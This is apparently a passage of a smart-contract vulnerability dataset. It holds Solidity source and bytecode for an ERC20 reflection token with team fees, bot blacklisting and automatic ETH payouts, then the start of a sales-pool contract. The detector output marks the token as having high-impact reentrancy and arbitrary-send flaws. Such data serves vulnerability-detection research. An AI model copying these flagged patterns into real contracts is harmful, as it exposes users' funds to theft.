_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601881526020017f534153554b45207c20742e6d652f736173756b65636f696e0000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f534153554b450000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60026008819055506006600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024ff688834c0035597e91d124b9467a02c2f8aa55326462e8f16995ec5e3ba9e64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 881 |
0x305107162a5498b0911166459a358628965a0198 | pragma solidity ^0.4.24;
pragma experimental "v0.5.0";
pragma experimental ABIEncoderV2;
contract ERC20 {
function balanceOf (address owner) public view returns (uint256);
function allowance (address owner, address spender) public view returns (uint256);
function transfer (address to, uint256 value) public returns (bool);
function transferFrom (address from, address to, uint256 value) public returns (bool);
function approve (address spender, uint256 value) public returns (bool);
}
contract SalesPool {
using Math for uint256;
address public owner;
ERC20 public smartToken;
Math.Fraction public tokenPrice;
uint256 public pipeIndex = 1;
mapping (uint256 => SalesPipe) public indexToPipe;
mapping (address => uint256) public pipeToIndex;
struct Commission {
uint256 gt;
uint256 lte;
uint256 pa;
}
struct Commissions {
Commission[] array;
uint256 length;
}
uint256 termsIndex = 1;
mapping (uint256 => Commissions) public terms;
event CreateSalesPipe(address salesPipe);
constructor (
address _smartTokenAddress,
uint256 _priceNumerator,
uint256 _priceDenominator
) public {
owner = msg.sender;
smartToken = ERC20(_smartTokenAddress);
tokenPrice.numerator = _priceNumerator;
tokenPrice.denominator = _priceDenominator;
uint256 maxUint256 =
115792089237316195423570985008687907853269984665640564039457584007913129639935;
terms[1].array.push(Commission(0 ether, 2000 ether, 5));
terms[1].array.push(Commission(2000 ether, 10000 ether, 8));
terms[1].array.push(Commission(10000 ether, maxUint256, 10));
terms[1].length = terms[1].array.length;
terms[2].array.push(Commission(0 ether, maxUint256, 5));
terms[2].length = terms[2].array.length;
terms[3].array.push(Commission(0 ether, maxUint256, 15));
terms[3].length = terms[3].array.length;
termsIndex = 4;
}
